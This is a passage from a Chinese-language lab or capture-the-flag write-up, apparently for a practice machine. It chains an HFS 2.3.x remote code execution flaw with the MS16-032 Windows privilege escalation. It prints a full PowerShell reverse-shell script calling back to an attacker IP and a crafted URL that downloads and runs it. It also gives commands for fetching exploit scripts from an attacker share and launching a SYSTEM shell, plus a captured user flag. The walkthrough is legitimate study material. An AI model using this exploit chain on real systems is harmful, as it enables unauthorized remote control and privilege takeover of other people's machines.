2.1 漏洞背景<\/h3>
HFS (HttpFileServer) 2.3.x版本存在远程代码执行漏洞，允许攻击者通过构造特殊请求在目标系统上执行任意命令。<\/p>
2.2 漏洞利用步骤<\/h3>


准备反向Shell脚本<\/strong><\/p>

使用Nishang项目中的Invoke-PowerShellTcp.ps1<\/code>脚本<\/li>
修改脚本内容如下:<\/li>
<\/ul>
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.24'<\/span>,10033);
<\/span><\/span>$stream = $client.GetStream();
<\/span><\/span>[byte[]]<\/span>$bytes = 0..65535|%{0};
<\/span><\/span>while<\/span>(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne<\/span> 0){
<\/span><\/span>;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
<\/span><\/span>$sendback = (iex $data 2>&1 | Out-String );
<\/span><\/span>$sendback2 = $sendback + 'PS '<\/span> + (pwd).Path + '> '<\/span>;
<\/span><\/span>$sendbyte = ([text.encoding]<\/span>::ASCII).GetBytes($sendback2);
<\/span><\/span>$stream.Write($sendbyte,0,$sendbyte.Length);
<\/span><\/span>$stream.Flush()};
<\/span><\/span>$client.Close()
<\/span><\/span><\/code><\/pre><\/li>

设置HTTP服务器<\/strong><\/p>

将修改后的Invoke-PowerShellTcp.ps1<\/code>脚本放置在可访问的HTTP服务器上<\/li>
<\/ul>
<\/li>

触发漏洞<\/strong><\/p>

构造特殊URL请求触发RCE漏洞:<\/li>
<\/ul>
http:\/\/10.10.10.8\/?search=%00{.exec|C%3a\Windows\System32\WindowsPowerShell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString(%27http%3a\/\/10.10.16.24\/Invoke-PowerShellTcp.ps1%27).}
<\/code><\/pre>
<\/li>

接收反向Shell<\/strong><\/p>

在攻击机上监听10033端口等待连接<\/li>
<\/ul>
<\/li>
<\/ol>
2.3 注意事项<\/h3>

有时回连的shell可能会空白，需要手动停止浏览器访问的URL<\/li>
成功后会获得初始访问权限，找到user.txt:
facdb79de2f4e7f9bac47102e1c8e9b2
<\/code><\/pre>
<\/li>
<\/ul>
3. 权限提升(MS16-032漏洞利用)<\/h2>
3.1 漏洞背景<\/h3>
MS16-032是Windows Secondary Logon服务中的一个漏洞，允许攻击者提升权限。<\/p>
3.2 漏洞验证<\/h3>


使用Sherlock脚本检查漏洞<\/strong><\/p>

下载Sherlock.ps1脚本:<\/li>
<\/ul>
copy \\10.10.16.24\share\Sherlock.ps1 .
<\/span><\/span><\/code><\/pre>
执行检查:<\/li>
<\/ul>
.\Sherlock.ps1
<\/span><\/span><\/code><\/pre>
关键结果:

MS16-032 (Secondary Logon Handle) - Appears Vulnerable<\/li>
MS16-034 (Windows Kernel-Mode Drivers EoP) - Appears Vulnerable<\/li>
MS16-135 (Win32k Elevation of Privilege) - Appears Vulnerable<\/li>
<\/ul>
<\/li>
<\/ul>
<\/li>

检查系统架构<\/strong><\/p>
[Environment]<\/span>::Is64BitProcess
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
3.3 漏洞利用步骤<\/h3>


准备利用脚本<\/strong><\/p>

下载Invoke-MS16032.ps1脚本:<\/li>
<\/ul>
copy \\10.10.16.24\share\Invoke-MS16032.ps1 .
<\/span><\/span><\/code><\/pre>
准备新的反向Shell脚本(修改端口为10034):<\/li>
<\/ul>
copy \\10.10.16.24\share\Invoke-PowerShellTcp.ps1 .
<\/span><\/span><\/code><\/pre><\/li>

执行提权攻击<\/strong><\/p>
Invoke-MS16032 -Command ".\Invoke-PowerShellTcp.ps1"<\/span>
<\/span><\/span><\/code><\/pre><\/li>

接收高权限Shell<\/strong><\/p>

在攻击机上监听10034端口等待高权限连接<\/li>
<\/ul>
<\/li>
<\/ol>
3.4 获取root.txt<\/h3>
成功提权后可找到root.txt:<\/p>
